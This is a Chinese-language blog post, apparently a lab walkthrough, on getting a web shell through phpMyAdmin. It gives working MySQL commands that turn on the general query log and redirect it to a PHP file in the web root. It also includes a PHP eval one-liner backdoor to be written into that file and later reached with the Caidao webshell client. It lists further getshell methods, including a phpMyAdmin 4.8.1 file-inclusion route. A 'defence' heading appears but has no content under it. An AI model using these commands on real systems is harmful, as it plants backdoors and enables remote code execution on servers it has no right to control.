尝试into outfile
想要使用into outfile或者load_file需要先查看secure_file_priv
如果后面有路径,表示上传文件至某个路径
若为null,则表示不可以使用into outfile上传文件
如果在命令行直接设置,则会报错,表示它是一个只读变量
所以如果一旦这里为null,无法使用into outfile来上传后门
通过日志文件
SHOW VARIABLES LIKE '%general%';
查看日志文件功能是否开启以及文件路径
默认的样子
SET GLOBAL general_log='on'; #开启general
set global general_log_file='C:/phpstudy/www/yxcms/backdoor.php'; #将路径改为
修改过后
SELECT "<?PHP @EVAL($_POST['cmd']);?>"; #一句话木马
因为开启了日志功能,所以现在执行语句,会被写入该路径下
然后通过C:/phpstudy/www/yxcms/backdoor.php
连接菜刀,输入密码
连接菜刀时,记得将路径修改为http://192.168.3.90/yxcms/backdoor.php
总结:
secure_file_priv值为NULL时,不能使用loadfile,into outfile进行读写文件
secure_file_priv值为空时,对导入导出无限制
也不能通过命令行修改,只能通过修改配置文件来改变路径,然后重启
mysql中有两个全局变量是我们getshell需要用到的重要变量:
(1)general_log (2)general_log_filegeneral_log是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
general_log_file是记录操作日志的路径
补充
phpmyadmin后台getshell一般有以下几种方式:
- select into outfile直接写入
- 开启全局日志getshell
- 使用慢查询日志getsehll
- 使用错误日志getshell
- 利用phpmyadmin4.8.1文件包含漏洞getshell
查看phpmyadmin版本:../phpmyadmin/readme
phpMyAdmin防御措施
版权声明:本文为weixin_44940180原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。